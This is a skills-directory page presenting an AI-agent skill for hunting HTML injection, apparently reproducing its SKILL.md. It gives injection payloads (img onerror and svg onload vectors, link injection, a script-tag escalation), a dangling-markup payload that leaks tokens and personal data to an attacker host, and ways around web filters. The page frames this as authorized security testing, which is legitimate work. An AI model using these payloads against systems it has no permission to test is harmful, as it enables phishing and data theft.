hunt-html-injection
What it does
This skill tests whether input is displayed as unescaped HTML, which is less severe than script injection but can still mislead users. It is for authorized testing of search, profile and comment fields.
When to use it
- βWhen a search box, profile field or comment might display raw HTML.
- βWhen an error message shows user input without escaping.
- βWhen you want to confirm whether injected HTML can display a fake login form.
Skill link
https://github.com/elementalsouls/Claude-BugHunter/blob/main/skills/hunt-html-injection/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βCan you check whether our comment field renders raw HTML in our authorized test, and show the effect?β
5 new skills a week. 1 minute to read.
How it works
The agent puts a unique harmless marker in an input and checks whether the HTML is shown as markup. It then confirms the impact with a clear test that shows the risk.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
What is HTML Injection
HTML Injection occurs when user input is inserted into a page's HTML without escaping, so injected tags are rendered by the browser as markup rather than displayed as literal text. Unlike XSS, the injected content does not require JavaScript execution β injecting <b>, <h1>, <a>, <img>, or <form> tags is sufficient.
To PROVE impact unambiguously, escalate to an active vector carrying a unique numeric canary β e.g. "><img src=x onerror=alert(91234)> or <svg onload=alert(91234)>. A distinctive 4+ digit number (not alert(1)) distinguishes YOUR reflected injection from the example payloads practice pages embed in their own hint text. Proof = the raw, unescaped vector with your canary appears in the response.
Impact:
- Phishing via injected
<form>or<a href="attacker.com">tags - UI defacement β
<h1>HACKED</h1>renders visually on the page - Credential harvesting via injected login forms
- Redirect via
<meta http-equiv="refresh"> - Stepping stone to XSS (may be blocked by WAF on
<script>but not<img onerror>) - Dangling-markup exfiltration β even with
<script>and event handlers filtered, an unterminated tag can capture page content that follows it. Inject<img src='//attacker.tld/log?html=(no closing quote/>); the browser treats everything up to the next'as the URL, leaking any CSRF token, secret, or PII rendered after your injection point to your server. Works where full XSS is blocked but raw<is reflected. - Email/notification-context injection β a field reflected unescaped into a transactional email (signup confirmation, admin alert, support-chat transcript) renders injected
<a>/<img>/dangling markup in the recipient's inbox β an audience the web UI can't reach, and often the only place HTML is rendered unfiltered. Inject into name/subject/comment, then read the raw email source. Disclosed class: https://hackerone.com/reports/1935628, https://hackerone.com/reports/3556892.
Attack Surface
Any input that is reflected or stored and then displayed in an HTML context:
- Search boxes (
?q=) - Comments, feedback, reviews
- Profile fields (name, bio, username)
- Error messages (
?error=,?message=) - Subject / body of contact forms
- Admin-visible fields (ticket titles, usernames in logs)
Autonomous Testing Priority
Inject a recognisable HTML tag with a unique canary string. Unescaped angle brackets in the response = confirmed injection.
Pattern 1 β Basic HTML tag injection:
<b>CANARY</b>
"><b>CANARY</b>
Use a unique string as CANARY (something distinct to this test run). Proof: the response contains <b>CANARY with literal < angle brackets β not <b>CANARY. A properly encoded app would escape < to <.
Try multiple tag types when <b> is filtered:
<h1>CANARY</h1>β heading tag (often less filtered)<img src=x onerror=CANARY>β attribute context<a href="https://attacker.com">click</a>β link injection (phishing proof)
For stored injection: inject into the storage endpoint, then GET the page where the value is displayed and check for unescaped tags.
Escalate immediately: if <b> injection works, try <script>alert(1)</script> β the same unsanitised input may allow full XSS.
Proof
Confirmed when your injected tag appears in the response body with literal < angle brackets (not HTML-encoded). A safe app renders <b>CANARY</b>; a vulnerable app renders <b>CANARY</b>.
Distinguishing HTML Injection from XSS
- HTML injection:
<b>text</b>renders as text in the browser β no JS execution needed. - XSS:
<script>alert(1)</script>executes JavaScript.
Some WAFs block <script> but pass <b> or <img> β start with non-script tags, then escalate.
FAQ
How is HTML injection different from XSS?
HTML injection does not need JavaScript to run, so the skill rates it as lower severity than XSS in general.
What is dangling markup?
It is an unclosed tag that can capture page content after it, the skill notes.
Why use a unique number?
A distinct number helps show the injected code is yours and not example text already on the page.
Details
Original description by the author
Hunt HTML Injection β user-supplied input is rendered as raw HTML in the response without sanitisation, allowing an attacker to inject arbitrary HTML tags (but not necessarily JavaScript). Lower severity than XSS but enables phishing, UI manipulation, and credential harvesting via injected forms. Use when testing text-display surfaces (search results, profile fields, comments, error messages, feedback forms). For markup that executes JavaScript, escalate to hunt-xss.
Popularity
- GitHub stars
- 5.4k
- Ranking position
- #14913
- License
- MIT
- Updated
- 11/2/2026
Comments
- β¦
More skills from this repository
apk-redteam-pipeline
5.4kHelps your agent test an Android app for security weaknesses, from finding the APK file and decompiling it to checking for exposed secrets.
bugcrowd-reporting
5.4kHelps your agent write better Bugcrowd vulnerability reports, choosing the right category and answering out-of-scope objections.
cloud-iam-deep
5.4kHelps your agent check what a found cloud credential can access on AWS, Azure or Google Cloud, during an authorized security test.
enterprise-vpn-attack
5.4kHelps your agent check VPN and remote-access appliances from Cisco, Fortinet, Citrix and others for known weaknesses during an authorized test.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.